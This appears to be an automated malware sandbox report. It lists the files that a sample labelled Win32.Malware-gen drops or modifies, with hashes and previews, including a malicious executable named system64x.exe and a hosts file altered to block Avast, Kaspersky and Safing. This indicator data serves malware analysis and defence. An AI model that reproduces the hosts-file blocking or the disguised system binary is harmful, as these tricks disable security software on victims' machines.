Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tukswsi0.0dq.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\SysWOW64\system64x.exe

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2870272
Entropy (8bit):	6.525182750076353
Encrypted:	false
SSDEEP:	49152:fcFa11QV8HUsmZ00Mtju4/+Kej4Oehz0EA7GHk2D/CiVr8KmPfj7G4Lxec+DA:UA1ItsmZ00MBu4Ies7Gj/CAYKsrdFecD
MD5:	4471F946569BFA17D68108068D7A17A1
SHA1:	E16A100F0B1052120B13FFE59EF0E6A8DCFB0160
SHA-256:	CAD52FAF41B806A22F502E1937ED72637D013C3C964404D448FA7A5C0E48E56C
SHA-512:	F2ADC61D04F6B6792AD37E2230D7CCEBB6090B45423E95BB21D5BCEE09304A3203F15A9CEAE39E6E1537F035E79F1DDA3B8FC93D03F6984C6260044ED046BC17
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Preview:	MZx.....................@...................................x...hr......!..L.!This program cannot be run in DOS mode.$..PE..d...V3be.........."......~...J+.....@..........@.............................0,...........`.....................................................<.............+.............. ,.x...............................(.......8..............p............................text....}.......~.................. ..`.rdata........... ..................@..@.data...@2+......"+.................@....pdata........+.......+.............@..@.00cfg........,.......+.............@..@.tls..........,.......+.............@....reloc..x.... ,.......+.............@..B................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:Nlllul2lllllZ:NllUClll
MD5:	4D98AF7F487E62A9C1D44B02674BAB7E
SHA1:	1B492B2208949EB7F18C32F309C296B4258DBA65
SHA-256:	1E3ED9CE6343DA27C6759A0F05D6DD0B92B3A9C63B6492A2DA4E4F371D9F56DA
SHA-512:	60EC859B84836E865E767FE858E70ACEC6F0FB8077B2E51D6CB4095533433B791C9A16396D69279C7F896DF003A1ED6656087B43EFA16523DA4026317CBB49E6
Malicious:	false
Preview:	@...e.................................:..............@..........

C:\Windows\System32\drivers\etc\hosts

Download File

Process:	C:\Windows\SysWOW64\system64x.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	877
Entropy (8bit):	4.691701573319544
Encrypted:	false
SSDEEP:	24:QWDZh+ragzMZfuMMs1L/JU5fFCkK8T1rTtvC:vDZhyoZWM9rU5fFceC
MD5:	482630DE1D93C83F5A9381F85F638DC6
SHA1:	BF4274FD755DA85041D43AEE02AEC7727A1D531A
SHA-256:	CA8A2839801616AE1BA3F4F10CEF264EB17D83684433C0D7251BD101A6F35BEE
SHA-512:	9D82D8662D1EAB19E34C6300BEA534291BEEFC8B2774381C6F2E0ACC495755D67A30E38B28458B76C15471DDB88F1A30B267AA944E80D575D968162F8E742770
Malicious:	true
Preview:	# Copyright (c) 1993-2009 Microsoft Corp...#..# This is a sample HOSTS file used by Microsoft TCP/IP for Windows...#..# This file contains the mappings of IP addresses to host names. Each..# entry should be kept on an individual line. The IP address should..# be placed in the first column followed by the corresponding host name...# The IP address and the host name should be separated by at least one..# space...#..# Additionally, comments (such as these) may be inserted on individual..# lines or following the machine name denoted by a '#' symbol...#..# For example:..#..# 102.54.94.97 rhino.acme.com # source server..# 38.25.63.10 x.acme.com # x client host....# localhost name resolution is handled within DNS itself...#.127.0.0.1 localhost..#.::1 localhost....0.0.0.0 www.avast.com kaspersky.com safing.io

C:\Windows\System32\perfc009.dat

Download File

Process:	C:\Windows\System32\wbem\WMIADAP.exe
File Type:	data
Category:	dropped
Size (bytes):	129304
Entropy (8bit):	3.4053644175972018
Encrypted:	false
SSDEEP:	1536:X1i4nfw8ld9+mRDaUR28oV7TYfXLi7NwrgSwNu56FRto:XBnfw8ld9+mRDaUR28oV7TY+7S0bS
MD5:	9AF42BB696EFC1BBDD22EE27988B26DE
SHA1:	EC894667C90179CB8EE7EA08B39974EB30984877
SHA-256:	06F0E20AA133D253C6F1551A7DEE48A9BDE83FE54DBA2EEF81EC7A20B5D7862F
SHA-512:	39A07E7F021015D49C57672B92A39ABBEA59F33E025792FE83F73E5AF6DC31F1DB0F85D58CDC2C10E8ED50026B6A743207E4587EBED75A0B7C7625EABEB333DC
Malicious:	false
Preview:	1...1.8.4.7...2...S.y.s.t.e.m...4...M.e.m.o.r.y...6...%. .P.r.o.c.e.s.s.o.r. .T.i.m.e...1.0...F.i.l.e. .R.e.a.d. .O.p.e.r.a.t.i.o.n.s./.s.e.c...1.2...F.i.l.e. .W.r.i.t.e. .O.p.e.r.a.t.i.o.n.s./.s.e.c...1.4...F.i.l.e. .C.o.n.t.r.o.l. .O.p.e.r.a.t.i.o.n.s./.s.e.c...1.6...F.i.l.e. .R.e.a.d. .B.y.t.e.s./.s.e.c...1.8...F.i.l.e. .W.r.i.t.e. .B.y.t.e.s./.s.e.c...2.0...F.i.l.e. .C.o.n.t.r.o.l. .B.y.t.e.s./.s.e.c...2.4...A.v.a.i.l.a.b.l.e. .B.y.t.e.s...2.6...C.o.m.m.i.t.t.e.d. .B.y.t.e.s...2.8...P.a.g.e. .F.a.u.l.t.s./.s.e.c...3.0...C.o.m.m.i.t. .L.i.m.i.t...3.2...W.r.i.t.e. .C.o.p.i.e.s./.s.e.c...3.4...T.r.a.n.s.i.t.i.o.n. .F.a.u.l.t.s./.s.e.c...3.6...C.a.c.h.e. .F.a.u.l.t.s./.s.e.c...3.8...D.e.m.a.n.d. .Z.e.r.o. .F.a.u.l.t.s./.s.e.c...4.0...P.a.g.e.s./.s.e.c...4.2...P.a.g.e. .R.e.a.d.s./.s.e.c...4.4...P.r.o.c.e.s.s.o.r. .Q.u.e.u.e. .L.e.n.g.t.h...4.6...T.h.r.e.a.d. .S.t.a.t.e...4.8...P.a.g.e.s. .O.u.t.p.u.t./.s.e.c...5.0...P.a.g.e. .W.r.i.t.e.s./.s.e.c...5.2...B.r.o.w.s.e.r...5.4...A.n.n.o.u.

C:\Windows\System32\perfh009.dat

Download File

Process:	C:\Windows\System32\wbem\WMIADAP.exe
File Type:	data
Category:	modified
Size (bytes):	697270
Entropy (8bit):	3.2735341717803963
Encrypted:	false
SSDEEP:	3072:NUdGNuowE4j0PrRZnpETMDZ8M6d0PHHx643/A5BK9YXdhPHlVziwC4ALWI1dnmRj:78M6d0w+WB62
MD5:	DD78C325FDB07A0714C016FD6FE034CA
SHA1:	A7758E36212A446040010A0A5A34DBCF2B822394
SHA-256:	E146AD67B5E4CB731007F1AB70191C5AE0BA835E25E10F1D4BB61C7AA8459B42
SHA-512:	EDDC0D47A747CB95EFF9B1721D12C53077A4C6F7E1395647AF6B8F83926B627EA67B477F4B0FD5ADFE364D8E852C0FAA55665E104D9B6E91391A9F0DC5D7622C
Malicious:	false
Preview:	3...T.h.e. .S.y.s.t.e.m. .p.e.r.f.o.r.m.a.n.c.e. .o.b.j.e.c.t. .c.o.n.s.i.s.t.s. .o.f. .c.o.u.n.t.e.r.s. .t.h.a.t. .a.p.p.l.y. .t.o. .m.o.r.e. .t.h.a.n. .o.n.e. .i.n.s.t.a.n.c.e. .o.f. .a. .c.o.m.p.o.n.e.n.t. .p.r.o.c.e.s.s.o.r.s. .o.n. .t.h.e. .c.o.m.p.u.t.e.r.....5...T.h.e. .M.e.m.o.r.y. .p.e.r.f.o.r.m.a.n.c.e. .o.b.j.e.c.t. . .c.o.n.s.i.s.t.s. .o.f. .c.o.u.n.t.e.r.s. .t.h.a.t. .d.e.s.c.r.i.b.e. .t.h.e. .b.e.h.a.v.i.o.r. .o.f. .p.h.y.s.i.c.a.l. .a.n.d. .v.i.r.t.u.a.l. .m.e.m.o.r.y. .o.n. .t.h.e. .c.o.m.p.u.t.e.r... . .P.h.y.s.i.c.a.l. .m.e.m.o.r.y. .i.s. .t.h.e. .a.m.o.u.n.t. .o.f. .r.a.n.d.o.m. .a.c.c.e.s.s. .m.e.m.o.r.y. .o.n. .t.h.e. .c.o.m.p.u.t.e.r... . .V.i.r.t.u.a.l. .m.e.m.o.r.y. .c.o.n.s.i.s.t.s. .o.f. .t.h.e. .s.p.a.c.e. .i.n. .p.h.y.s.i.c.a.l. .m.e.m.o.r.y. .a.n.d. .o.n. .d.i.s.k... . .M.a.n.y. .o.f. .t.h.e. .m.e.m.o.r.y. .c.o.u.n.t.e.r.s. .m.o.n.i.t.o.r. .p.a.g.i.n.g.,. .w.h.i.c.h. .i.s. .t.h.e. .m.o.v.e.m.e.n.t. .o.f. .p.a.g.e.s. .o.f. .c.o.d.e. .a.n.d. .d.a.t.a. .b.e.t.

C:\Windows\System32\wbem\Performance\WmiApRpl_new.h

Download File

Process:	C:\Windows\System32\wbem\WMIADAP.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3444
Entropy (8bit):	5.011954215267298
Encrypted:	false
SSDEEP:	48:ADPo+gDMIuK54DeHNg9dqbEzCJGGgGDU3XgLBgaGKFijiVJtVAAF/XRgW:ADw+gDMhK54qHC7aBvGKFijiV7XRgW
MD5:	B133A676D139032A27DE3D9619E70091
SHA1:	1248AA89938A13640252A79113930EDE2F26F1FA
SHA-256:	AE2B6236D3EEB4822835714AE9444E5DCD21BC60F7A909F2962C43BC743C7B15
SHA-512:	C6B99E13D854CE7A6874497473614EE4BD81C490802783DB1349AB851CD80D1DC06DF8C1F6E434ABA873A5BBF6125CC64104709064E19A9DC1C66DCDE3F898F5
Malicious:	false
Preview:	//////////////////////////////////////////////////////////////////////////////////////////////..//..// Copyright (C) 2000 Microsoft Corporation..//..// Module Name:..// WmiApRpl..//..// Abstract:..//..// Include file for object and counters definitions...//..//////////////////////////////////////////////////////////////////////////////////////////////......#define.WMI_Objects.0..#define.HiPerf_Classes.2..#define.HiPerf_Validity.4....#define.MSiSCSI_ConnectionStatistics_00000.6....#define.BytesReceived_00000.8..#define.BytesSent_00000.10..#define.PDUCommandsSent_00000.12..#define.PDUResponsesReceived_00000.14....#define.MSiSCSI_InitiatorInstanceStatistics_00001.16....#define.SessionConnectionTimeoutErrorCount_00001.18..#define.SessionDigestErrorCount_00001.20..#define.SessionFailureCount_00001.22..#define.SessionFormatErrorCount_00001.24....#define.MSiSCSI_InitiatorLoginStatistics_00002.26....#define.LoginAcceptRsps_00002.28..#define.LoginAuthenticateFails_00002.30..#define.LoginAuthFai

C:\Windows\System32\wbem\Performance\WmiApRpl_new.ini

Download File

Process:	C:\Windows\System32\wbem\WMIADAP.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (405), with CRLF line terminators
Category:	dropped
Size (bytes):	48786
Entropy (8bit):	3.5854495362228453
Encrypted:	false
SSDEEP:	384:esozoNc1+12zG1+b61ubSGMLVrj4+PtC81ZBg4Lg4ung4og4uo91K91zI91K91z2:esozozBg4Lg4ung4og4uWG4MG4o1
MD5:	DF877BEC5C9E3382E94FEA48FEE049AC
SHA1:	1D61436C8A1C057C1B1089EB794D90EE4B0D8FE9
SHA-256:	7F0F3FA64E41A30BACA377B6399F8F7087BC54DA9FCA876BFDC2C2EEECA8454B
SHA-512:	433CB16EBE2292CB60CB8CE71207EBB752295FB73E6D13E215E771EC5FC433EE29577AF28641255810C18078B95F04A9D37734B6F49CB6A6302821E365672205
Malicious:	false
Preview:	.././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././....././....././. .C.o.p.y.r.i.g.h.t. .(.C.). .2.0.0.0. .M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n....././....././. .M.o.d.u.l.e. .N.a.m.e.:....././. .W.m.i.A.p.R.p.l....././....././. .A.b.s.t.r.a.c.t.:....././....././. .D.e.s.c.r.i.b.e.s. .a.l.l. .t.h.e. .c.o.u.n.t.e.r.s. .s.u.p.p.o.r.t.e.d. .v.i.a. .W.M.I. .H.i.-.P.e.r.f.o.r.m.a.n.c.e. .p.r.o.v.i.d.e.r.s....././....././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.............[.i.n.f.o.].....d.r.i.v.e.r.n.a.m.e.=.W.m.i.A.p.R.p.l.....s.y.m.b.o.l.f.i.l.e.=.W.m.i.A.p.R.p.l...h.........[.l.a.n.g.u.a.g.e.s.].....0.0.9.=.E.n.g.l.i.s.h.....0.0.9.=.E.n.g.l.i.s.h.........[.o.b.j.e.c.t.s.].....W.M.I._.O.b.j.e.c.t.s._.0.0.

C:\Windows\System32\winevt\Logs\Application.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	67888
Entropy (8bit):	4.041371331324477
Encrypted:	false
SSDEEP:	768:mTBTdqsqbqwc0bzq0YAKP5goweUe3FdJxPBuwDt/K1WocwKb:SRAciNXKP4CDPBuwDt/K1hcP
MD5:	7E63E60E73966F738E46ADFEBB7EC310
SHA1:	676DEE7A03A468FF20060051B981BE7869580D09
SHA-256:	FF0B4DCBCD44BDD2B6FF783E8E448A64E8CBB82CDF85F7E9F8C8ED2CBFD7821D
SHA-512:	750770BBFF5C0752992AABE830C0F3A47470F38453A8168159D5E12988C5A6D809AE1908E3A57B3C33EBE80A751F08E2EF78CFC01A6C6044ECC64DEC6D9A2F6A
Malicious:	false
Preview:	ElfChnk.................c.......c...............0....X.[.......................................................................3................i...........................=...................................................................................r...................................t...?...........................................F...................M...5...........................B.......................................................................................................&...............**..0...c........,..6.............&............i.Po.F.."..y.......A..m...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..2............{..P.r.o.v.i.d.e.r.......F=.......K...N.a.m.e.......M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.C.A.P.I.2.F........)...G.u.i.d.....&.{.5.b.b.c.a.4.a.8.-.b.2.0.9.-.4.8.d.c.-.a.8.c.7.-.b.2.3.d.3.e.5.2.1.6.f.b.}.

C:\Windows\System32\winevt\Logs\Microsoft-Client-Licensing-Platform%4Admin.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.1181568235432175
Encrypted:	false
SSDEEP:	768:SVUHiapX7xadptrDT9W84bW664k5Xyvk:tHi6xadptrX9WPbR
MD5:	84BCF1D7EB2D62CC778C0DB8249B87DB
SHA1:	EE2212E946036E8B01666139C57A6988A3D75FA3
SHA-256:	D63850291791C5D70146A73BBFDE5E06ACE32D33229D74165C8B9B78F77EDD3F
SHA-512:	0B631AAB097CA90C7E36F074EEB2064D12DA2D58185F23CD21517086778732ABB73C674A94F15D80FECDE612EE82A598DF8546E9C0D7FECA970E0002CFE4AC2B
Malicious:	false
Preview:	ElfChnk.........S...............S...................v........................................................................]................>.......................f...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&........r...................m..............qo...................>...;..................**..............4.9...............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppModel-Runtime%4Admin.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.4013147639327475
Encrypted:	false
SSDEEP:	384:FhGN+3N6sNSNYNLNjNUSNbN6NHNRNbNYN0NsNZN7NhNLNPNhN8NdNixNAwNioNZs:FGvsbF1QBjr1xCKuL48fpoQ
MD5:	D352D15D6A29EC818FCCB7D131D827B4
SHA1:	E83944244EF8A5B84B6A8DF486A5A5801937ED51
SHA-256:	B57978A9C8C8B8D8DF2EC5AAE442504C7327951A2602CD8322378EB9E6AC0D57
SHA-512:	CF9CDEAE9F69A19E36214B4C29D9C319B231675CD5B4B3A7BAC8F1EE23FFDB06E8E4188E0309A2B710EA1AC8948F72ED4EC7CA8209FA7C0255E1C3BA4614E959
Malicious:	false
Preview:	ElfChnk............................................lK..........................................................................................>.......................f...=...........................................................................................................................f...............?...........................m...................M...F....................C.......................J...............................................................i...................F......e...........**..............."s...........F..&.......F...0.V%.d..wr........A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppXDeployment%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	66960
Entropy (8bit):	4.285755233928464
Encrypted:	false
SSDEEP:	384:BVNVmhsVPVUVvVoVTVXV8VMVxVIVyV5JVYV6VCiVfV5V/VBVAVOVqVqV1VHV3Vie:aI1u
MD5:	4605B31F39A755C7820C3D0A9B894237
SHA1:	AE5142A625FA1395E4012DBF8D5EC66DC04E01BF
SHA-256:	2982DE7746EBB9F626799766FCFA619EEBA8D930DAA7B7C5A02C58B3352365D8
SHA-512:	AE7277FFCEBA9174DC2095C2D63AAF3004F1C75126331D63FF1DFEFD76136F2E6943D53B9A207FC70949F374B3C95A300DABAC66B6ED1653463D7C12900AD60A
Malicious:	false
Preview:	ElfChnk.i...............i...................H........f./.......................................................................i................2.......................Z...=...........................................................................................................................f...............?...........................m...................M...F....................................................3.......................................................8..........................&...Y1....................H.T.6.........F..&...............................................................@.......X...a.!.....E..........@H.T.6............A...................................M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.A.p.p.X.D.e.p.l.o.y.m.e.n.t...'..Y.J.R>:..=_M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.A.p.p.X.D.e.p.l.o.y.m.e.n.t./.O.p.e.r.a.t.i.o.n.a.l...f.d.........N...M.i.c.r.o.s.o.f.t...W.i.n.d.o.w.s...S.e.a.r.c.h._.c.w.5.n.1.h.2.t.x.y.e.w.y.....l.o..................E2V.6.........F.

C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.423265177202914
Encrypted:	false
SSDEEP:	384:67UhsmYDQlm9cKrRtUmNmHumtTmgm5wQXvZ7bmO8mfQE3mq9mqmxqm6nFmCWmnsn:XMrJcWHvqisqnvokZRKeTSPnSKn
MD5:	34B35A683C68A73A1BF569F68E54DB0D
SHA1:	FC5C102CFE726B21653E768ADA9A275FADA90550
SHA-256:	82203A8B2AF5D6CF60E99ADA87DF17CED01A954F995B6649E26E1C08FB97BEC9
SHA-512:	E547B36385DBFBAF0D825AE5475C3CEF0B1949E632402D94385794F1AA1A8A565738FA29C4F895894DB61B86CE7F29DF2D389CFF63D9D246AE5157BAB20DABB1
Malicious:	false
Preview:	ElfChnk..0.......0.......0.......0..........x...X...iS.~........................................................................................L.......................t...=...........................................................................................................................f...............?...........................m...................M...F...................................C\..........................................KJ...............H..;d.......X..............#...........%...........**.......0....................F..&.......F...0.V%.d..wr........A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.46195821683625526
Encrypted:	false
SSDEEP:	96:ENVaO8sMa3Z85ZMLe5yrjjv3Z85ZCtV3Z85Zx3Z85Zu:aV7pp8nMLe8vvp8nCtVp8nxp8n
MD5:	5ACAAE41499E7308E5275722CCD56A6B
SHA1:	D725F4876F0F7AAA657E82D73E432AE1F64DFE03
SHA-256:	75CBB6A56620AA15E6AA888A9DCCE34647D8C67B60003951B8E09B5A09CDC574
SHA-512:	80F61A3EB53F16883C03C128C957DF1DCF29B43B847298B5BE94362A6FB0B9108B2932B75260CF709CFC08063D19B8EEAD8E1C2966A32A76377EE2E40CB1D10F
Malicious:	false
Preview:	ElfChnk.....................................P.......WW......................................................................k...............................................=...........................................................................................................................f...............?...................................p...........M...F...................................................................................................................................&...............**..p...........n.d.............g.&.........g....R....uJ.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Application-Experience%4Program-Telemetry.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.416807332891786
Encrypted:	false
SSDEEP:	1536:CbBN2A4VD7VAx8whAGU2woJQghgooKChi581UAkM:
MD5:	8B93FFD74BA69D506BC1A7CA93434764
SHA1:	8275F283E3EB6143F33D1B97C889D167963A9B41
SHA-256:	9D1B6EA5CF8330CB2CE526B709669FCF7BD756EE43E30230B98F3FBE6B80D227
SHA-512:	8EED6493C2C3B9BD2B0DB0ECF80B6FFCC007A1BB618725BC5681469894965CE2606589062BA941C6B29D23F9A5F46EE9613F2FA46AC0B587CB6130EA99E24A15
Malicious:	false
Preview:	ElfChnk.........b...............b...............@...........................................................................Z!H.............................................=...................................................................................%.......................................X...............?...............................................M...F...................................................................................................................................z...............**..............................g.&.........g....R....uJ.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-CloudStore%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.519960906808938
Encrypted:	false
SSDEEP:	768:7PB9TXYa1RFxRaayVadMRFyfqd9xZRta7Ea+5BVZUeaBhN1dJhlBlBJ9ZFN9NxKk:vXY5nVYIyyqED5BVZUeJ+EsiA881rXT
MD5:	F2DD657C9A1CB9C4DE1DF89C0F45E5F1
SHA1:	A9B48C4B4F004BE9F9641753D4BAEADD209BC4EF
SHA-256:	7601EB81F47B9DFC18BAD436F6657EBFD07782F6C8BC681A76DEFC69C6104613
SHA-512:	C226D4C11D55C8BA887F2A6314B2C797CA60A12B90C066E7929E0CF182440D3E246C9399D4118FD5E781C7998A85E78AEF363D54D68DA86E39BF6D9F07DA6441
Malicious:	false
Preview:	ElfChnk.........\|...............\|...................%DkZ........................................................................................>.......................f...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...............................................................y...........>...........**................9..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-CodeIntegrity%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	modified
Size (bytes):	91344
Entropy (8bit):	2.4884378802135716
Encrypted:	false
SSDEEP:	384:qhdo69CcoTorNorWorbvorTorZorQorNor7orqorlGhorDorrTo9orForAorlorM:qDCpI8DCpI+
MD5:	C2F9DDC874D6890A9CBB8E5B618E7785
SHA1:	7582FF454B7BD9CCB726288CB98177FCA8935ED0
SHA-256:	87A1EF661041699B9420F0459BA1E803FB5C81C0C63519AB64471E7A374FB1A6
SHA-512:	BC78E4BCA586E5A25ACF6F3B4D282808824962C79A7D2234A3647C21EFA7CB14CE2EC0591428A39B346FA5CDEF87EC13EF861A285BBE27A6A2B129999247A71F
Malicious:	false
Preview:	ElfChnk.....................................`J...L.............................................................................................:.......................b...=...........................................................................................................................f...............?...........................m...................M...F...........................&....................................3..................................=/..............U)..............................**...............k...............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Containers-BindFlt%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8512934663046342
Encrypted:	false
SSDEEP:	384:vhAiPA5PNPxPEPHPhPEPmPSPRP3PoP1P0mPQP1P9xP:v2Nz
MD5:	B58E72BD85CF367466349FADCF9A5818
SHA1:	0F561886DC1FC8FBCA5DC8CA10DB1A7C34CEE419
SHA-256:	D6F533FC5273A6E86F4295EE8935D94CC1A1CCD12A0DCA9C6C9723F852772861
SHA-512:	32893F184EE6EA667D4FA98625F5B0192256F05E072513D2F68C3078FA2002824DB743BF759C5DEF4EBFD92D4257E5EE06FF584D0F4A79D8A964FA2C65CFCA01
Malicious:	false
